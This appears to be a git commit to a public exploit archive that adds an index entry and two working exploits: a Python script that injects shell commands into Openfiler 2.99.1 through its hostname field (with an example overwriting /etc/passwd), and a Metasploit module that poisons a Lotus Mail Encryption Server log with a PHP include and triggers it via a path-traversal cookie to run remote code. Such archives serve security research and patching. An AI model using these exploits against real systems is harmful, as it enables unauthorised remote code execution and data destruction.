Updated 12_24_2014
This commit is contained in:
parent
9f4c7b310b
commit
c0a405fe68
3 changed files with 138 additions and 1 deletions
|
@ -32045,3 +32045,4 @@ id,file,description,date,author,platform,type,port
|
|||
35579,platforms/php/webapps/35579.txt,"miniBB 3.1 - Blind SQL Injection",2014-12-19,"Kacper Szurek",php,webapps,80
|
||||
35580,platforms/linux/dos/35580.rb,"Ettercap 0.8.0-0.8.1 - Multiple Denial of Service Vulnerabilities",2014-12-19,"Nick Sampanis",linux,dos,0
|
||||
35581,platforms/linux/remote/35581.rb,"Varnish Cache CLI Interface Remote Code Execution",2014-12-19,"Patrick Webster",linux,remote,6082
|
||||
35588,platforms/php/remote/35588.rb,"Lotus Mail Encryption Server (Protector for Mail) LFI to RCE",2014-12-22,"Patrick Webster",php,remote,9000
|
||||
|
|
Can't render this file because it is too large.
|
|
@ -37,4 +37,49 @@ Steps to reproduce / PoC:
|
|||
|
||||
|
||||
|
||||
<-> PoC Video: https://www.youtube.com/watch?v=NzjB9U_0yLE&feature=youtu.be
|
||||
<-> PoC Video: https://www.youtube.com/watch?v=NzjB9U_0yLE&feature=youtu.be
|
||||
|
||||
#!/usr/bin/env python
|
||||
# Exploit Title: Openfiler Remote Code Execution
|
||||
# Date 21/12/2014
|
||||
# Affected Software version: 2.99.1
|
||||
# Alerted vendor: 7.5.14
|
||||
|
||||
# Quick and dirty exploit
|
||||
# usage: python openfiler_RCE.py <Command>
|
||||
# Author: Dolev Farhi @dolevff
|
||||
|
||||
import sys
|
||||
import urllib
|
||||
import urllib2
|
||||
import cookielib
|
||||
|
||||
server = 'ip.add.re.ss'
|
||||
username = 'openfiler'
|
||||
password = 'password'
|
||||
timeout = 6
|
||||
command = '`' + ' '.join(sys.argv[1:]) + '`'
|
||||
|
||||
if len(sys.argv[1:]) == 0:
|
||||
print 'Missing argument (command)'
|
||||
print 'example: python openfilerRCE.py echo > /etc/passwd'
|
||||
sys.exit(0)
|
||||
|
||||
try:
|
||||
cj = cookielib.CookieJar()
|
||||
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
|
||||
login_data = urllib.urlencode({'username' : username, 'password' : password})
|
||||
opener.open('https://' + server + ':446/account/login.html', login_data, timeout=timeout)
|
||||
payload = urllib.urlencode({'hostname' : command,'netconf' : 'Update'})
|
||||
url = 'https://%s:446/admin/system.html' % (server)
|
||||
resp = opener.open(url)
|
||||
if 'logout.html' in resp.read():
|
||||
opener.open('https://' + server + ':446/admin/system.html', payload)
|
||||
print ('Executed %s :-)' %(command))
|
||||
sys.exit(0)
|
||||
except urllib2.URLError, e:
|
||||
print 'Error: %s' %(e.reason)
|
||||
sys.exit(1)
|
||||
except Exception, e:
|
||||
print 'Error: possibily invalid credentials, try again.'
|
||||
sys.exit(1)
|
||||
|
|
91
platforms/php/remote/35588.rb
Executable file
91
platforms/php/remote/35588.rb
Executable file
|
@ -0,0 +1,91 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer::PHPInclude
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Lotus Mail Encryption Server (Protector for Mail) Local File Inclusion',
|
||||
'Description' => %q{
|
||||
This module exploits a local file inclusion vulnerability in
|
||||
the Lotus Mail Encryption Server (Protector for Mail Encryption)
|
||||
administration setup interface. The index.php file uses an unsafe include()
|
||||
where an unauthenticated remote user may read (traversal) arbitrary file contents.
|
||||
By abusing a second bug within Lotus, we can inject our payload
|
||||
into a known location and call it via the LFI to gain remote code execution.
|
||||
Version 2.1.0.1 Build(88.3.0.1.4323) is known to be vulnerable.
|
||||
You may need to set DATE in the format YYYY-MM-DD to get this working,
|
||||
where the remote host and metasploit instance have UTC timezone differences.
|
||||
},
|
||||
'Author' => [ 'patrick' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.osisecurity.com.au/advisories/' ], #0day
|
||||
#[ 'CVE', 'X' ],
|
||||
[ 'OSVDB', '87556'],
|
||||
#[ 'BID', 'X' ],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [[ 'Lotus Mail Encryption Server 2.1.0.1', { }]],
|
||||
'DisclosureDate' => 'Nov 9 2012',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(9000),
|
||||
OptBool.new('SSL', [true, 'Use SSL', true]),
|
||||
OptString.new("DATE", [false, 'The date of the target system log file in YYYY-MM-DD format']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi( { 'uri' => '/' })
|
||||
if (res.code == 302 && res.body.match(/GetLoginScreen.uevent/))
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def php_exploit
|
||||
|
||||
logfile = datastore['DATE'] ? datastore['DATE'] : Time.now.strftime("%Y-%m-%d")
|
||||
if (logfile !~ /\d\d\d\d-\d\d-\d\d/) # if set by user datastore...
|
||||
print_error("DATE is in incorrect format (use 'YYYY-MM-DD'). Unable to continue.")
|
||||
return
|
||||
end
|
||||
|
||||
# set up the initial log file RCE - this is unescaped ascii so we can execute it
|
||||
# later >:) uid is tomcat so we cannot read apache's logs, and we are stuck inside
|
||||
# tomcat's php-cgi wrapper which prevents /proc/* injection and a lot of the
|
||||
# filesystem. example good injected log: '/var/log/ovid/omf-2012-08-01.log' patrick
|
||||
|
||||
inject_url = "/omc/GetSetupScreen.event?setupPage=<?php+include+'#{php_include_url}';+?>" # no whitespace
|
||||
res = send_request_cgi( { 'uri' => inject_url })
|
||||
|
||||
if (res and res.code == 404 and res.body.match(/Lotus Protector for Mail Encryption - Page Not Found/)) # it returns a 404 but this is good.
|
||||
vprint_good("Payload injected...")
|
||||
|
||||
response = send_request_cgi( {
|
||||
'uri' => '/omc/pme/index.php',
|
||||
'cookie' => "slaLANG=../../../../../../var/log/ovid/omf-#{logfile}.log%00;", # discard .php
|
||||
})
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Add table
Reference in a new issue